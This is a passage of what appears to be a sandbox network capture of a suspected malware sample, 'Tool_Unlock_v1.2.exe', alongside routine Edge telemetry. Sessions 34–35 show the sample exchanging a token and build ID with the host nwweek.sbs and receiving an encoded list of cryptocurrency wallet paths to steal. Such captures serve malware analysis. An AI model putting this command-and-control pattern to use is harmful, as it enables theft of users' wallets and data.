name="build_id"7e147eee531b23fe52a3bf2266ee03ed------900ZM7Y5XBIMYUKF3O89Cont
2024-12-29 04:45:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49886	13.78.111.199	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:46 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735447542502&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3869 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1005AEB16EB26DA20238BBD56F1A6CB7; _EDGE_S=F=1&SID=2F9422619ADA623C2E2837059BAC633A; _EDGE_V=1
2024-12-29 04:45:46 UTC	3869	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 39 54 30 34 3a 34 35 3a 34 32 2e 34 39 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 37 63 62 66 64 62 2d 34 34 35 39 2d 34 61 37 34 2d 62 30 65 31 2d 61 35 61 36 31 64 38 30 31 64 38 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 39 38 32 35 34 32 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-12-29T04:45:42.491Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"b67cbfdb-4459-4a74-b0e1-a5a61d801d8a","epoch":"3982542777"},"app":{"locale
2024-12-29 04:45:46 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=8ff24c7e05784706ab39a371783673bb&HASH=8ff2&LV=202412&V=4&LU=1735447546661; Domain=.microsoft.com; Expires=Mon, 29 Dec 2025 04:45:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3d959b6436e942d89ea668c12463420c; Domain=.microsoft.com; Expires=Sun, 29 Dec 2024 05:15:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 4159 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 29 Dec 2024 04:45:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49897	108.138.128.56	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:46 UTC	1012	OUT	GET /b2?rn=1735447542504&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1005AEB16EB26DA20238BBD56F1A6CB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=16Ec1200287814d7c335b9d1735447544; XID=16Ec1200287814d7c335b9d1735447544
2024-12-29 04:45:46 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sun, 29 Dec 2024 04:45:46 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 77c1752e5c6dfb050c6304b9d473a1e2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P4 X-Amz-Cf-Id: 6ZlJcEELDnrCaWro543I1cmQLjj1YSvEc6t2tzCxnxiUbsNxRMJtCQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49898	20.110.205.119	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:46 UTC	1261	OUT	GET /c.gif?rnd=1735447542504&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2a73fa2376414060a8ff10325437473c&activityId=2a73fa2376414060a8ff10325437473c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=012BD8E3001A45FDA9CABD4B535AEDB1&MUID=1005AEB16EB26DA20238BBD56F1A6CB7 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1005AEB16EB26DA20238BBD56F1A6CB7; _EDGE_S=F=1&SID=2F9422619ADA623C2E2837059BAC633A; _EDGE_V=1; SM=T
2024-12-29 04:45:47 UTC	982	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Tue, 10 Dec 2024 13:00:24 GMT Accept-Ranges: bytes ETag: "9270eb7934bdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1005AEB16EB26DA20238BBD56F1A6CB7; domain=.msn.com; expires=Fri, 23-Jan-2026 04:45:46 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=1005AEB16EB26DA20238BBD56F1A6CB7; domain=c.msn.com; expires=Fri, 23-Jan-2026 04:45:46 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sun, 05-Jan-2025 04:45:46 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sun, 29-Dec-2024 04:55:46 GMT; path=/; SameSite=None; Secure; Date: Sun, 29 Dec 2024 04:45:46 GMT Connection: close Content-Length: 42
2024-12-29 04:45:47 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49908	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:47 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEUKNOH47GVAAAAIM7GL User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:47 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 55 4b 4e 4f 48 34 37 47 56 41 41 41 41 49 4d 37 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 55 4b 4e 4f 48 34 37 47 56 41 41 41 41 49 4d 37 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 49 45 55 4b 4e 4f 48 34 37 47 56 41 41 41 41 49 4d 37 47 4c 0d 0a 43 6f 6e 74 Data Ascii: ------IEUKNOH47GVAAAAIM7GLContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------IEUKNOH47GVAAAAIM7GLContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------IEUKNOH47GVAAAAIM7GLCont
2024-12-29 04:45:48 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:48 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49919	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:49 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----68Q1DJEUA1N7QIE3E3OH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
